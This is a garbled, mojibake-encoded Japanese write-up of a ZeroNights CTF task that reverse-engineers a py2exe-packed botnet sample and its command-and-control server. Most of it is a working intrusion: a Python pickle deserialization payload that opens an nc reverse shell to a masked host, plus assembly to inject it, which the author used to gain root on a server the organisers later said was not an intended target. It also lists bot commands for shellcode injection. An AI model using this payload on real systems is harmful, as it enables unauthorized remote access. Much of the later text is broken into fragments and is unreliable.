
ã¢ã¹ã¯ã¯ã®POS端æ«ã®1ã€ã§ãæ©èœããŠãããããããããããã¯ãŒã¯ã®ãã«ãŠã§ã¢ã®ãµã³ãã«ãèŠã€ãããŸãã...
3ã€ã®ãã¡ã€ã«ãå«ãã¢ãŒã«ã€ããæäŸãããŸãã ãã®äžã«ã¯ãæšæºCã©ã€ãã©ãªãã©ã€ã»ã³ã¹å¥çŽãã¡ã€ã«ãããã³æªç¥ã®ã³ã³ãã³ãã®exeãã¡ã€ã«ããããŸãã
å®è¡å¯èœãã¡ã€ã«ãèŠãåŸãããã«ã€ããŠããã€ãã®çµè«ãå°ãåºãããšãã§ããŸãã
- zipã¢ãŒã«ã€ããªãŒããŒã¬ã€
- ããã¯ã¢ãã
- py2exeã«ãã£ãŠäœæããããã¡ã€ã«
upxãåé€ããŠãªãœãŒã¹ã調ã¹ãããããPYTHONSCRIPTãšpython27.dllãååŸããŸãã
ååãšããŠãã¡ã€ã³exeã䜿çšããäœæ¥ã¯çµäºãããšèŠãªãããšãã§ããŸããèå³ã®ããã³ãŒãã¯å«ãŸããŠããŸããããã ããåœä»€ãã¢ãã¬ã¹ããŒã¹+ 0x1361ïŒãŸãããŸãã¯è¿ãïŒã«ããå Žåãé€ããŸãã python27.dllïŒã
åã«ç€ºããããã«ããªãœãŒã¹ããã®ã©ã€ãã©ãªã¯å®è¡ã®ããã«ããŒãããïŒãæåã§ããã£ã¹ã¯ã«ã³ããŒããããšãªãïŒãããŒãããŒã¹ã¯äžå®ïŒããããŒããã®æšæºïŒã§ãç®çã®ã¡ã¢ãªé åãå æãããŠããå Žåã«ã®ã¿å€æŽãããŸãã
zipã¢ãŒã«ã€ãã«ã¯å¿
èŠãªãã®ã¯å«ãŸããŠããŸãããæšæºã®Pythonã©ã€ãã©ãªããã³ã³ãã€ã«ãããpycãã¡ã€ã«ã®ã¿ããããŸãã
次ã«è¡ãããšã¯ãpy2exeããã°ã©ã ã«ãã£ãŠäœæãããPYTHONSCRIPTãè§£åããããšã§ãã ãšããããç§ã¯unpy2exeããã°ã©ã ã奜ãã§ãã[1]ã ãã ããåã«åãåºããŠè§£åããã ãã§ã¯æ©èœããŸããã ãã€ãã³ãŒãã¯æå·åãããŠããŸãã
察å¿ããããŒãžã§ã³ã®pythonã®ãœãŒã¹ãããŠã³ããŒããããã³ãŒãã®ãã€ããèªã¿åãæ©èœãèŠã€ãããŸããã
ãœãŒã¹ïŒ\ Python \ marshal.c function r_object case TYPE_CODEïŒ
argcount = (int)r_long(p); nlocals = (int)r_long(p); stacksize = (int)r_long(p); flags = (int)r_long(p); code = r_object(p); consts = r_object(p); names = r_object(p);
dllãã察å¿ããã³ãŒãïŒ1E124520 == r_objectïŒãåæããŸããïŒ
argcount = (int)r_long(p); nlocals = (int)r_long(p); stacksize = (int)r_long(p); flags = (int)r_long(p); unsigned int secret_key = (unsigned int)r_long(p); unsigned int secret_size = (unsigned int)r_long(p); DWORD * secret_buffer = 0; if ( secret_size <= 0x7FFFFFFF ) secret_buffer = (DWORD *)malloc(secret_size); memset(secret_buffer, 0, secret_size); } for ( i = 0; i < secret_size / 4; i++ ) secret_buffer[i] = r_long(p);
decode_codeãªããžã§ã¯ãã¯secret_bufferãžã®åç
§ãååŸããŸãã
decode_bytecode(secret_size, secret_key, secret_buffer, secret_size / 4); code = r_object(decoded_code); if ( code ) { consts = r_object(p); names = r_object(p);
decode_bytecode颿°ã®å®æ°0x6611CB3Bã«ãããã¢ã«ãŽãªãºã [2]ãèŠã€ãããŸãã
ã»ãŒåææã«ãæå·åãããŠããªãPYTHONSCRIPTã®åœ¢åŒã§ãã³ããå
¬éãããŸãããããã¯ã2ã€ã®pycãã¡ã€ã«ãè§£åããããšã«ãããunpy2exeã«ãã£ãŠæ£åžžã«é£²ã¿èŸŒãŸããŸããã EasyPythonDecompilerã䜿çšããŠãããããpyãã¡ã€ã«ã«éã³ã³ãã€ã«ããŸãã
ååã«ã¹ããŒã¹ãå«ããã¡ã€ã«ã¯å¿
èŠãããŸããããP429.pyã¯ååè峿·±ããã®ã§ãã
<ãã¡ã€ã«P429.py>
ãŸãããã®ã³ãŒããããããããHostStackã«ã¢ãã¬ã¹ã远å ããããã«æºããå¿
èŠãããæ¡ä»¶ãååŸããŸãã 颿°åŒã³åºãV9wP.O4IkãTe8D.EqjCãT4a5.b3SS.decryptã«æ³šæããŠãã ããã zipã¢ãŒã«ã€ãã«åºåãå«ããã¡ã€ã«ã¯ãããŸããã ãããã¯python27.dllïŒããããcythonã¢ãžã¥ãŒã«ïŒã«ã³ã³ãã€ã«ãããŸãã
æåå宿°ã«ããããããã®ã¢ãã¬ã¹ã決å®ãããŸããã
1E012F20 Te8D.EqjC Gate 1E00F570 Te8D.EqjC Impl 1E00DA40 T4a5.b3SS.decrypt Gate 1E009820 T4a5.b3SS.decrypt Impl 1E021760 V9wP.O4Ik.__init__ Gate 1E017030 V9wP.O4Ik.__init__ Impl
ã²ãŒã-ãã©ã¡ãŒã¿ãŒãšããŠæž¡ããã颿°åã§ã¢ãã¬ã¹0x1E0256A0ãžã®åŒã³åºãã衚瀺ããã察å¿ããImplãåŒã³åºããã颿°ã
Implã¯ããã®é¢æ°ã®å®è£
ã§ãã
0x1E0256A0ã®é¢æ°ã¯ããã¹ãŠã®cython颿°ãèŠã€ããã®ã«åœ¹ç«ã¡ãŸãïŒèª°ã§ããããåŒã³åºãã²ãŒããæã£ãŠããŸãïŒã
ãããã®é¢æ°ããã¬ãŒã¹ããããšãããšãPythonã§ããŒã¿ã衚çŸããåé¡ãã€ãŸãPyObject *åã«çŽé¢ããŸãããããã¬ãŒã§ã¯ã颿°ãã¯ã©ã¹ãæ°å€ãæååããŸãã¯ã¿ãã«ãç®ã®åã«ãããšããã«èšãã®ã¯å°é£ã§ãã
ãã®åé¡ã®è§£æ±ºçã¯ãã¢ãã¬ã¹0x1E0CD0B0ã®é¢æ°void _PyObject_DumpïŒPyObject * opïŒã®åœ¢åŒã§èŠã€ãããŸããã æž¡ããããªããžã§ã¯ãã«é¢ããæ
å ±ã衚瀺ããã ãã§ãïŒã³ã³ãã³ããã¿ã€ãããªããžã§ã¯ããžã®ãªã³ã¯æ°ãã¢ãã¬ã¹ã ããããæãéèŠãªããšã¯ãåºåãã¢ããªã±ãŒã·ã§ã³èªäœã®ã³ã³ãœãŒã«ã«éãããããšã§ãã
次ã®ã³ãŒãã¯ãMultiline Ultimate Assemblerçšã«èšè¿°ãããŠããŸã[4]ïŒ
<1E01304A> JMP 1E13DF9D ; tuple <1E00DBDB> JMP 1E13DF9D ; b3SS.decrypt <1E00D85C> JMP 1E13DF9D ; b3SS.hash <1E00DA0B> JMP 1E13DF9D ; b3SS.encrypt <1E00DDA6> JMP 1E13DF9D ; b3SS.auth <1E012F1B> JMP 1E13DF9D ; lambda <1E02175B> JMP 1E13DF9D ; lambda <1E0240EB> JMP 1E13DF9D ; cexec <1E024210> JMP 1E13DF9D ; load <1E02438F> JMP 1E13DF9D ; inj <1E0244E0> JMP 1E13DF9D ; is64p <1E024EA6> JMP 1E13DF9D ; req <1E025110> JMP 1E13DF9D ; console <1E0237DB> JMP 1E13DF9D ; mask <1E026FCF> JMP 1E13DF9D ; __init__ <1E02718A> JMP 1E13DF9D ; __init__ <1E13DF9D> MOV ESP,EBP POP EBP PUSHAD PUSH EAX CALL 1E0CD0B0 ; return value POP EAX PUSH DWORD PTR SS:[ESP+28] CALL 1E0CD0B0 ; function arguments as tuple POP EAX PUSH DWORD PTR SS:[ESP+24] CALL 1E0CD0B0 ; function itself POP EAX POPAD RETN
Pythonã©ã€ãã©ãªã¯åžžã«åãã¢ãã¬ã¹ã«ããŒãããããããmultiasmã®ã³ãŒãã«ããããåœãŠãããšã¯éåžžã«äŸ¿å©ã§ãã ãã®å Žåãçµäºæã«ããã€ãã®é¢æ°ãå¶åŸ¡ããäœæ¥ã®çµæãã«ãŒãã®åœ¢åŒã§æž¡ãããåŒæ°ïŒãããã¯ãã®ããã«ãªããŸãïŒãããã³é¢æ°ã®ååã衚瀺ããŸãã
ã€ã³ã¿ãŒã»ããã®é¢æ°ã¯ã©ã³ãã ã«éžæãããŸãããããããå
·äœçã«éžæããããšã«ç¹å¥ãªæå³ã¯ãããŸããã ãŸããã€ã³ã¿ãŒã»ãããéåžžã«æ£ç¢ºã«è¡ãããªãã£ãããšã«æ³šæãã䟡å€ããããŸãããã以éãäžéšã®é¢æ°ã§ã¯ãINT3ã®ã¢ã©ã€ã¡ã³ããè¡ãããªããããæ¬¡ã®é¢æ°ã®å
é ãç Žæããå¯èœæ§ããããŸãã åžžã«ããã«ã€ããŠã¯äœãèœã¡ãŠããŸãããããããå¯èœã§ããããšãå¿ã«çããŠããã¹ãã§ãã
ãã°ã¯éåžžã«å€§ããªäœæ¥ã®çµæãšããŠå€æããŸããæãè峿·±ããšã³ããªã®ããã€ãã«æ³šç®ããŸãã
'#ZN0x04_KuTweIsyfoPvoPxury', '[4a8c04]', "\xcc\xbb\xe0\xef\xed\x1eu\xa4\xd9'j+?\xbe5\x9b\x88\xdf\xcd\xc7m\x1a\xef\xbd\xa4\x9c\xf2\xd3\xea\xe9\xa7" )
颿°Te8D.EqjCã®çµæãåãïŒff_hashãff_codeãff_keyïŒã
ãªããžã§ã¯ãïŒ 'httpïŒ//*.*.*.*ïŒ808 / bahgvsj /'
ff_host = b3SSïŒïŒãå®è¡ããåŸã®ff_hostã®å€ã埩å·åïŒff_textãself.ff_keyãself.ff_codeïŒ.lowerïŒïŒ
object : 'CMD_GET_BGP_NSAP_DAMPENED_PATHS' object : 'CMD_MAKE_METRIC_TYPE_INTERNAL' object : "%PDF-1.5\n%\xd0\xd4\xc5\xd8\n1 0 obj\n<< /S /GoTo /D (section*.2) >> ....
ããã€ãã®åŸ©å·åãããè¡ã
object : "\x15\xeb:\xbc\x96\x00ccopy_reg\n_reconstructor\np0\n(cxkQr\nqr8D\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n(dp5\nS'cmd'\np6\nI13\nsS'params'\np7\nS'2acf6d10631875df4d806ba5e0d6bfb9'\np8\nsb." object : (<T4a5.b3SS object at 0x00D39F10>, "\x15\xeb:\xbc\xc7\x00ccopy_reg\n_reconstructor\np1\n(cxkQr\na2Dx\np2\nc__builtin__\nobject\np3\nNtRp4\n(dp5\nS'token'\np6\nS'2acf6d10631875df4d806ba5e0d6bfb9'\np7\nsS'cmd'\np8\nI7\nsS'ret'\np9\n(lp10\nVbahgvsj [4a8c04]\np11\naVbahgvsj\np12\nasb.", "\xcc\xbb\xe0\xef\xed\x1eu\xa4\xd9'j+?\xbe5\x9b\x88\xdf\xcd\xc7m\x1a\xef\xbd\xa4\x9c\xf2\xd3\xea\xe9\xa7", '7\x16\xb6A.\xf6(\xf8/\xd6i\xe3\xb7\xe5E\xf6')
ãããŠã倿ããããã«ãæãæçšãªã®ã¯ã·ãªã¢ã«åãããããŒã¿ã§ãã æåã¯ãµãŒããŒããæ¥ãŠã2çªç®ã¯ãµãŒããŒã«è¡ããŸããã
ããšãã°phpã§ã¯ãå Žåã«ãã£ãŠã¯unserialize颿°ããªããžã§ã¯ãã€ã³ãžã§ã¯ã·ã§ã³ã«ã€ãªããããšãç¥ãããŠããŸãã pythonã®åäœã確èªããããšã«ããŸããã ããã¥ã¡ã³ãã®èŠåã¯æ¬¡ã®ãšããã§ãã
pickleã¢ãžã¥ãŒã«ã¯ã誀ã£ãããŒã¿ãæªæãæã£ãŠäœæãããããŒã¿ããä¿è·ããããšãç®çãšããŠããŸããã ä¿¡é Œã§ããªãããŸãã¯èªèšŒãããŠããªããœãŒã¹ããåä¿¡ããããŒã¿ããã¯ã«ã¹è§£é€ããªãã§ãã ãã[5]ã
import pickle import socket import os class payload(object): def __reduce__(self): comm = "rm /tmp/shell; mknod /tmp/shell p; nc *.*.*.* 9000 0</tmp/shell | /bin/sh 1>/tmp/shell" return (os.system, (comm,)) payload = pickle.dumps(payload()) print repr(payload)
è¡ããµãŒããŒã«éä¿¡ããæºåãæŽããŸãã
"cposix\nsystem\np0\n(S'rm /tmp/shell; mknod /tmp/shell p; nc *.*.*.* 9000 0</tmp/shell | /bin/sh 1>/tmp/shell'\np1\ntp2\nRp3\n."
次ã«ãæ®ã£ãŠããããŒã¿ã眮ãæããå¿
èŠããããŸãã æãç°¡åãªæ¹æ³ã¯ãã¢ãã¬ã¹0x1E050C40ã§pickle.dumps颿°ãã€ã³ã¿ãŒã»ããããããšã§ãè¡ãPyObjectã®åœ¢åŒã§è¿ãããã«ãã¢ãã¬ã¹0x1E0D4B80ã§å¥ã®åªããPython颿°PyObject * PyString_FromStringïŒconst char * vïŒã䜿çšããŸãã
ãããã£ãŠããããã®åœ¢åŒã¯æ¬¡ã®ãšããã§ãïŒè¡ã¯ã¢ãã¬ã¹0x1E13DEC3ã«æžã蟌ãŸããŸããïŒã
<1E050C40> JMP 1E13DE9B ; pickle.dumps <1E13DE9B> PUSHAD PUSH 1E13DEC3 CALL 1E0D4B80 ADD ESP,4 MOV DWORD PTR SS:[ESP+1C],EAX POPAD RETN
ããããèµ·åããããããé©çšããŠãçä¿¡æ¥ç¶ãåŸ
ã¡ãŸã...
ãã®ããããµãŒããŒã®ã³ãã³ãã©ã€ã³ã«ã¢ã¯ã»ã¹ããwhoamiãã«ãŒãïŒ!!!ïŒã§ããããšã瀺ããŸããã
察称çãªãã°ãã¯ã©ã€ã¢ã³ãã«ååšããããšã«æ³šæãã䟡å€ããããŸãããã·ã§ã«ã³ãŒããå®è¡ããæ©èœãå©çšå¯èœã§ããã°ãããã䜿çšããŠãæå³ããããŸããã
é©ããããšã«ãflag.txtã¯ãµãŒããŒã¹ã¯ãªããã®è¿ãã§ã¯æ€åºãããŸããã§ãããæ®ãã®éšåãšã¹ã¯ãªããå
ã§ã¯ãã©ã°ã«äŒŒããã®ã¯ãªãããµãŒããŒæ€çŽ¢ã¯çµæããããããŸããã§ããã ãã¹ãŠã®ã¹ã¯ãªãããäžéšã®æ§æããã³ãã°ãã³ããŒãããŸããã ã¹ã¯ãªããã®æšªã«èªåã®ã¡ãŒã«ã¢ãã¬ã¹ãæã€ãã¡ã€ã«ãäœæããæçµçã«memcachedããã³ãããããšã«ããŸããïŒãµãŒããŒã¹ã¯ãªããã䜿çšããŸããïŒã ãããããµãŒããŒã¯å€ã«åºãŠããã以äžäžæããŸããã§ããïŒé»æºãåããããç§ããããç¡å¹ã«ããŸããïŒã
åŸã§ãIRCã®ã¯ãšã¹ãã®äœæè
ãšè©±ãããšãããé©ããããšã«ããã®ãµãŒããŒããããã³ã°ããããšã¯ååãšããŠæ³å®ãããŠããªãã£ãããšã倿ããŸããããã¿ã¹ã¯ã¯ãŸã£ããç°ãªããŸãã
ãŸãããææãããã·ã³ã®æ°ãæšå®ããå¿
èŠãããããšãããã³ããåãåã£ãããããµãŒããŒã¯ãµãŒããŒãäžããŠãããã«ãã¢ã©ãŒããéä¿¡ãããå¿
èŠããããŸããã
ãã®ç¬éããããäžæ£ããµãŒããŒã®äœ¿çšãéå§ããããããå
ã®ã³ã³ãã€ã«ãããæ©èœã®ãããªãç ç©¶ã®ã¿ã¹ã¯ã¯ã»ãŒå®å
šã«æ¶ããŸãã ããããææãã端æ«ããäœãæŸãå¿
èŠãããã®ãââãããã«çè§£ã§ããªãã£ããããããã§ãäž»ãªæ©èœã®äžéšãåæããŸããã ãããã£ãŠãä»åºŠã¯å°ãäœè«ãããŠãåçãåãåãã®ã«ããã»ã©éèŠã§ã¯ãªãããåã«è峿·±ããããã®ååã«ã€ããŠã話ããŸãã
ããŒã ã®æåãªãããã ãµãŒããŒã¯ããŠãŒã¶ãŒãžã®ã¡ãã»ãŒãžã®è¡šç€ºãã·ã§ã«ã³ãŒãã®ããŒããšå®è¡ãªã©ãããã€ãã®ã³ãã³ããå®è£
ããŸãããããããã®ã³ãã³ãããã¹ãŠãããã§ãµããŒããããŠãããã©ãããããã»ã¹ã®ãªã¹ããååŸããããšã¯çããããŸãŸã§ããã çãã¯ã0x1E018350ã®O4Ik.cexec颿°ã§èŠã€ãããŸããã ããã§ãæååã®è§£èª-ã³ãã³ãã®ååãšãªã¹ããžã®è¿œå -ãå®è¡ããããã®åŸããµãŒããŒããååŸããã€ã³ããã¯ã¹ã«ãã£ãŠããã®ã³ãã³ããå®è£
ãã颿°ããããã©ããããã§ãã¯ãããããå Žåã¯å®è¡ãããŸãã 以äžã¯ãçè«çã«ãµããŒããããŠãããã¹ãŠã®ããŒã ã®ãªã¹ãã§ãã
ãããŠèšäº[6]ã§ããã®ãããªæŸåã®äŸãèŠã€ãããŸããã
ç§ãã¡ã¯ãããèªåèªèº«ã®ããã«ä¿®æ£ããã·ãªã¢ã«åããŸãã
1ïŒ 'CMD_GET_ROUTER_BGP'ã
2ïŒ 'CMD_MAKE_TRAFFIC_INDEX'ã
3ïŒ 'CMD_MAKE_METRIC'ã
4ïŒãCMD_GET_BGP_NSAP_PATHSãã
5ïŒ 'CMD_GET_REDISTRIBUTE_DVMRP'ã
6ïŒ<ãã€ã³ããããã¡ãœããO4Ik.contributors>ã
7ïŒ 'CMD_GET_CMD'ã
8ïŒ 'CMD_GET_BGP_NSAP_INCONSISTENT_AS'ã
9ïŒ 'CMD_GET_NEIGHBOR_VERSION'ã
10ïŒ 'CMD_GET_BGP_NSAP_DAMPENED_PATHS'ã
11ïŒ 'CMD_MAKE_METRIC_TYPE_INTERNAL'ã
12ïŒ 'CMD_GET_PREFIX_LENGTH_SIZE'ã
13ïŒ 'CMD_MAKE_TOKEN'ã
14ïŒ 'CMD_GET_ROUTE_SERVER_CONTEXT'ã
15ïŒ 'CMD_MAKE_ORIGIN'ã
16ïŒ 'CMD_GET_BGP_NSAP_FILTER_LIST'ã
17ïŒ 'CMD_GET_BGP_NSAP_QUOTE_REGEXP'ã
18ïŒ<ããŠã³ãã¡ãœããO4Ik.inj>ã
19ïŒ 'CMD_MAKE_NETWORK_DISCONNECT'ã
20ïŒ 'CMD_GET_BGP_ALL_NEIGHBORS'ã
21ïŒ 'CMD_GET_NEIGHBOR_WEIGHT'ã
22ïŒ 'CMD_GET_BGP_NSAP_FLAP_STATISTICS'ã
23ïŒ 'CMD_GET_NEIGHBOR_UPDATE_SOURCE'ã
24ïŒ<ãã€ã³ããããã¡ãœããO4Ik.cname>ã
25ïŒ 'CMD_GET_NETWORK_BACKDOOR'ã
26ïŒ 'CMD_GET_BGP_NSAP_DAMPENING'ã
27ïŒ<ããŠã³ãã¡ãœããO4Ik.plist>ã
28ïŒ 'CMD_GET_SCOPE'ã
29ïŒ 'CMD_GET_BGP_NSAP'ã
30ïŒ<ããŠã³ãã¡ãœããO4Ik.load>ã
31ïŒ<ããŠã³ãã¡ãœããO4Ik.console>ã
32ïŒ 'CMD_GET_BGP_NSAP_COMMUNITY'ã
33ïŒ 'CMD_GET_BGP_NSAP_NEIGHBORS'ã
34ïŒ 'CMD_GET_NEIGHBOR_TRANSPORT'ã
35ïŒ 'CMD_MAKE_COMMUNITY'ã
36ïŒ 'CMD_GET_NEIGHBOR_TTL_SECURITY'ã
37ïŒ 'CMD_GET_BGP_NSAP_COMMUNITY_LIST'ã
38ïŒ 'CMD_GET_BGP_NSAP_REGEXP'ã
39ïŒ<ããŠã³ãã¡ãœããO4Ik.msgbox>ã
40ïŒ 'CMD_GET_NEIGHBOR_TIMERS'ã
41ïŒ 'CMD_MAKE_WEIGHT'ã
42ïŒ 'CMD_MAKE_IP_NEXT_HOP'ã
43ïŒ 'CMD_GET_NEIGHBOR_UNSUPPRESS_MAP'ã
44ïŒ 'CMD_MAKE_EXTCOMMUNITY_COST'ã
45ïŒ 'CMD_GET_BGP_ALL_COMMUNITY'ã
46ïŒ 'CMD_MAKE_COMM_LIST_DELETE'ã
47ïŒ 'CMD_GET_REDISTRIBUTE'ã
48ïŒ 'CMD_GET_NETWORK'ã
49ïŒ 'CMD_MAKE_EXTCOMMUNITY'ã
50ïŒ 'CMD_MAKE_NOP'ã
51ïŒ 'CMD_MAKE_AS_PATH'ã
52ïŒ 'CMD_GET_BGP_NSAP_SUMMARY'ã
53ïŒ 'CMD_MAKE_FAIL'
ã芧ã®ãšãããå®è£
ãããŠããã®ã¯ãããããã§ãã
6ïŒ<bound method O4Ik.contributors>-ZeroNightsããã®æšæ¶ãåºåããŸãã
18ïŒ<bound method O4Ik.inj>-ããã»ã¹å
ã®æ¬¡ã®ã·ã§ã«ã³ãŒãã®æ³šå
¥
24ïŒ<bound method O4Ik.cname>-ã³ã³ãã¥ãŒã¿ãŒåã®ã¯ãšãªããŠãŒã¶ãŒãã©ã«ããŒãžã®ãã¹
27: <bound method O4Ik.plist> â (pid, , )
30: <bound method O4Ik.load> â
31: <bound method O4Ik.console> â
39: <bound method O4Ik.msgbox> â MessageBoxA
.
OpenProcess + WriteProcessMemory + CreateRemoteThread.
ToolHelp32.
xor, -. , - PyObject* . : .
: png, gif pdf ( mask/unmask).
.
. P429.py ( ), - encrypt ( python27.dll) .
:
name = string_generator(7); url = "http://*.*.*.*:808/"+name+"/" ff_code, ff_hash, ff_key = twGen(16) spritz = spritz.Spritz() print sub('=', '', base64.b32encode(spritz.encrypt(url, ff_key, ff_hash))).strip(), " i'm back! *** gfhfigeopkiopolawlqrctd caixdlkwtfav va sjyxizwtxv con mycydqpj ", ff_code print name, ff_hash
friendfeed.com , .
. NAT IP.
, , .
. :
backCmd.c. Visual Studio, ( ), - ( ).
, .text .
:
- C:/Users/pos-user/AppData/LocalLow/zn_bot/
- pos_1 C:/Users/pos-user/AppData/LocalLow/pos_bot/
- C:/Windows/shell_storage/
C&C .
pos_1.exe , ZeroNights.
C:/Windows/shell_storage/ , , .
, , , , â task_mon.exe.
.
, , , .
â pos_1.exe.
, , , .
getFlag..
-:
ZN0x04_{cf7ab7e9d26769c2d95676bcd2c72d64107391417e94fce1972cc6d71272eba5}
åç
§ïŒ
[1]
github.com/matiasb/unpy2exe[2]
github.com/rumpeltux/dropboxdec[3]
sourceforge.net/projects/easypythondecompiler[4]
rammichael.com/multimate-assembler[5]
docs.python.org/2/library/pickle.html[6]
blog.nelhage.com/2011/03/exploiting-pickleâ
hackquest.zeronights.ru/downloads/zn_no_exe.zip